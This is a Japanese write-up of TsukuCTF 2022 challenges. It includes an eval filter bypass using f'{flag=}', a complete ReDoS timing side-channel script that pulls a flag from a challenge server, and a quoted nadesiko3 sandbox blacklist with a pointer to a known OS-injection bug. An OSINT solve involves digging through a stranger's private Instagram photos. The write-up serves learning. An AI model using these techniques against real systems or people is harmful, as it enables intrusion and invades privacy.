All Articles

Tsukushi CTF 2022 Writeup

TsukuCTF 2022に参加したのでWriteUpを書きました。

順位は残念ながら一瞬1桁まで上がったものの維持できず、14位でフィニッシュでした。

久々にチーム0neP@ddingとして参加したCTFということもあり、とても楽しかったです。

とはいえ参加メンバー2人で少し寂しいのでそろそろメンバー募集したい感じはあります。。

今回も例によって解けた問題のうち面白かった問題と、解けなかった問題について記録しておきます。

image-20221023185450493

もくじ

OSINT

banana

以下のような問題でした。

問題 つくし君は、ある女の子のSNSアカウントを眺めています。 つくし「この場所を特定して僕も同じ場所の同じ構図で写真を撮りたい!」

つくし君の願いを叶えるべく、この場所を特定してあげましょう。 ※フラグの形式はTsukuCTF22{緯度_経度}です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

banana

後ろのバナナのキャラクターを切り取ったりして試行錯誤したもののなかなか見つからず苦労しましたが、最終的にインスタに絞って検索した結果、この画像をアイコンにしている主婦の方のアカウントが見つかりました。

その方のプライベート写真を一通り漁った結果、この壁がある場所がグアムのテデド朝市を開催している場所というところであることがわかり、Flagを取得できました。

TsukuCTF Big Fan 2

問題 彼はWebサイトを運営しているようです。

He appears to be running a web site.

この前の問題「TsukuCTF Big Fan 1」で、特定したTwitterアカウントのツイートから、彼がWebサイトを運営していて、ctf 073b6d comという暗号が指すアドレスでそのページを公開していることがわかりました。

image-20221023190359304

数値の見た目的にLeet暗号のようなものかと思ったので、あり得そうなパターンを総当たりするために以下のようなスクリプトを使用しました。

しかし、結果的にどのパターンも接続可能なアドレスにはならず、リタイアしました。

import requests

urls = []
for a in ("0", "o", "oh", "p"):
    for b in ("7", "t", "l", "y"):
        for c in ("3", "e"):
            for d in ("8", "b", "6", "i3", "13"):
                for e in ("6", "g", "b"):
                    for f in ("d", "i7", "17"):
                        s = a + b + c + d + e + f
                        url = "http://ctf.{}.com/".format(s)
                        urls.append(url)
# 動作テスト用
urls.append("https://google.com/")

for url in urls:
    print(url)
    try:
        res = requests.get(url)
        print(res.status_code)
        break
    except:
        pass

以下のWriteupを参考にさせていただいたところ、同じ人物の別のツイートがヒントになっていたようです。

参考:TsukuCTF 2022 writeup - st98 の日記帳 - コピー

image-20221023191049064

ここで、「xn」というのはPunycodeで表現されたinternationalized domain namesの接頭辞として付与されるACE (ASCII Compatible Encoding)を指すようです。(ACEが付与されたラベルを「A-ラベル」と呼ぶ。)

Punycodeは、Unicode 文字を含むホスト名を、文字、数字、およびハイフンで構成されASCIIのサブセットに変換することができる表現方法で、日本語ドメイン名などのUnicodeで表現されたホスト名を、国際化ドメイン名(Internationalized Domain Name: IDN)としてアプリケーションで扱えるようにするための仕組みの一つに該当するようです。

参考:Punycode - Wikipedia

Punycodeは、Unicode文字列を可逆的にASCII文字列に変換することが可能で、ASCII文字はそのまま、非ASCII文字は英数字とハイフンで構成される一意のASCII文字に変換されます。

実際のところ、暗号文に「xn—」を付与してPunycodeをデコードすると以下のドメイン名になるようです。

image-20221023191904625

これでクリアかと思ったのですが、このドメインにブラウザでアクセスすると以下のRickrollにリダイレクトされます。

この動画にリダイレクトする問題よくあるのでトラウマになりがち。。

image-20221023192107089

さて、とりあえずリダイレクト前の様子を見たいと思いBurpをかませてみましたが、特にFlagに繋がりそうな情報は見当たりませんでした。

次に、ICANN Lookupでドメイン情報を検索したところいくつかの情報がヒットしましたが、有効な情報は得られませんでした。

正直Punycodeに自力で気づけたとしてもここで詰んでただろうなーと思いつつ、Writeupを見ると、ターゲットのドメインにTLS接続できることから、証明書をcrt.shで確認する必要があるようでした。

image-20221023193626330

そういえば以前もcrt.shで確認する問題に引っかかったなと反省しつつも、証明書登録のアプローチからサブドメインを探索できる場合があるということを新たに学ぶことができました。

uTSUKUSHIi

medium

私は世界一可愛い猫ちゃんの写真を見つけました。この猫ちゃんの生年月日を答えてください。フラグフォーマットは TsukuCTF22{YYYY/MM/DD} です。

かわいい猫の画像が渡された問題でした。

meow

猫やソファーなどで画像検索を繰り返したものの、それらしい画像にはたどり着けませんでした。

一緒に参加していたメンバーが「これ猫カフェっぽくね?」と気づいたため、猫カフェなどを中心に探していたものの、さすがにそれだけでは絞り込めず、リタイアしました。

以下のWriteupを参考にしたところ、調度品の色やある程度場所を推測することでFlagに繋がる情報が見つかるようでした。(OSINT力高くてすごい。。。)

参考:TsukuCTF 2022に参加しました

コンセプトなどの観点からアプローチしてみるテクニックは非常に勉強になったので記録しておきます。

Misc

Lucky Number 777

メンバーが解いた問題ですが、文法問はメモっておきたいので書いておきます。

以下のようなスクリプトが与えられました。

いくつかの特殊文字がブラックリストに追加されており、lucky_number == "flag" or "{flag}" in lucky_numberの行では変数flagそのものの参照と{flag}による展開が禁止されています。

これらのフィルタをバイパスしてstr(eval(lucky_number))にてflag変数を出力する、という問題でした。

import string

def challenge(lucky_number: str):
    flag = "TsukuCTF22{THIS_IS_NOT_FLAG}"  # TOP SECRET
    printable = string.printable
    filter = "_[].,*+%:  |()#\\\t\r\v\f\n"  # ( ̄ー ̄)

    if not all(c in printable for c in lucky_number):
        return "No Hack!!!"

    if any(c in filter for c in lucky_number):
        return "No Hack!!!"

    if lucky_number == "flag" or "{flag}" in lucky_number:
        return "No Hack!!!"

    try:
        return "your lucky_number is " + str(eval(lucky_number))
    except:
        return "No Hack!!!"

ここで、問題サーバに接続するとPython3.9.4のランタイムで実行されていることがわかります。

$ nc tsukuctf.sechack365.com 7777
3.9.4 (default, Apr 10 2021, 15:31:19)
[GCC 8.3.0]
Enter your lucky number:

eval関数自体はかなり強力なので色々とやりようはありそうですが、フィルタのせいで文字列連結やメソッド呼び出しはできないようになっています。

しかし、{}や=などはフィルタされていないので、f"{flag=}"の記法でFlagを取得できます。

この記法はPython3.8から追加されている比較的新しい表現のようですね。

参考:2. Lexical analysis — Python 3.10.8 documentation

soder

flagのvalidatorを作ってもらったのですが、同じ応答しか返しません(´;ω;`) ※フラグの形式はTsukuCTF22{[0-9a-z_]+}です。多数のリクエストを許容する問題ですが、数秒間隔をあけてください。

以下のスクリプトが与えられます。

#!/usr/bin/env python3
import os
import re
from timeout_decorator import timeout

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

@timeout(5)
def flag_validator(pattern):
    re.match(pattern, FLAG)

def yakitori():
    pattern = input("Pattern: ")
    print("I check your pattern.")
    try:
        # This function will be timed out in 5 seconds.
        flag_validator(pattern)
    except:
        print("error")

    print("Probably valid flag!")

yakitori()

受け取ったパターンを使用してFlagに対して検証を行うスクリプトのようです。

ただし、このスクリプトは検証に成功した場合でも失敗した場合でも同じ応答を返します。

また、5秒のタイムアウトが設定されていますが、この制限にひっかかった場合でも応答は変わりません。

ここで、re.match()関数が前方から評価していき、正規表現にマッチすれば終了する仕様であることに着目します。

つまり、意図的に5秒以上遅延する正規表現を後方に配置し、先頭には任意の正規表現を置くことで、処理の時間によってサイドチャネル的に正規表現がマッチしたかどうかを確認可能になるわけです。

解法自体はすぐに思いついたのですが、正規表現を意図的に遅延させることに少し手間取りました。

今回は、ReDoS脆弱な正規表現をあえて作成することでタイムアウトを発生させることに成功しました。

参考:20日目: 正規表現が ReDoS 脆弱になる 3 つの経験則 | 立命館コンピュータクラブ

引用:
ReDoS 脆弱になる 3 つの経験則

1. 量指定子がネストされている
マッチング処理時間は指数関数的に増加. 例 (a+)+b

2. 選択の両方にサブマッチし得るパターンが繰り返されている
マッチング処理時間は指数関数的に増加. 例 (a|.)+b

3. 繰り返し表現が連結している
マッチング処理時間は多項式的に増加. 例 a.+b.+c

最終的に、以下のスクリプトでFlagを取得することができました。

import time
import re
import string

from pwn import *
import binascii

pt = r"|(.+)+a"

flag = "TsukuCTF22{"
words = "abcdefghijklmnopqrstuvwxyz0123456789_"

for i in range(25):
    print(i, flag)
    for w in words:
        test = flag + r"[" + w + r"]{" + str(1) + r"}.{" + str(24-i) + r"}}"

        p = remote("133.130.103.51", 31417)
        r = p.recv()

        start = time.time()
        p.sendline(test+pt)
        r = p.recvline()
        r = p.recvline()
        t = time.time() - start
        p.close()

        if t < 1:
            flag += w
            print(flag)
            break
        
        time.sleep(1)

nako3ndbox

に・ほ・ん・ご・で・あ・そ・ぼ

サーバでは以下のなでしこ3で書かれたプログラムが動いていました。

「------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------」と言う

「日本語コード:」と尋ねる
それを入力に代入

ブラックリスト=「読、開、保存、実行、起動、サーバ、フォルダ、ファイル、ナデシコ、ディレクトリ、flag」を「、」で区切る

ブラックリスト!=空の間
  ブラックリストの0から1を配列取り出す
  もし(入力でそれの出現回数)!=0ならば
    「日本語の世界からは出しませんよ!!!」と言う
    終了する
  ここまで
ここまで

「{入力}」をナデシコする

終了する

「ブラックリスト」に定義された文字が使えなくなるため、ファイル操作などをそのまま行うことができないプログラムでした。

ここで、動作しているなでしこのバージョンがnadesiko3@3.3.67であることがわかっているのでGithubから脆弱性やバグ報告を探したところ、OSインジェクションの脆弱性が存在するバージョンであることがわかりました。

参考:cnako3の圧縮解凍の問題 · Issue #1325 · kujirahand/nadesiko3

ここでテンション上がってFlagを取るためにエクスプロイトをガチャガチャいじっていたものの、一向にFlag取得ができず、リタイアしました。

シンプルにエクスプロイトちからが足りないというのものあったものの、コマンドインジェクションが成功したかどうかをコンソール出力で判断することに固執してたのがよくなかったですね。。

戻り値が返ってこないときは失敗していると思ったのですがまさか成功していたとは。。

ということでWriteupの通り、コンソール上でFlagは取ることができないので、リモートでファイルを転送するコマンドを実行することで解ける問題でした。

これは一番解きたかっただけに悔しい。

まとめ

久々に0neP@ddingとして出たCTFでしたが、非常に楽しく参加できました。

ただ、2人だけでやるのも少し寂しい感じでしたのでそろそろメンバー募集したいですね。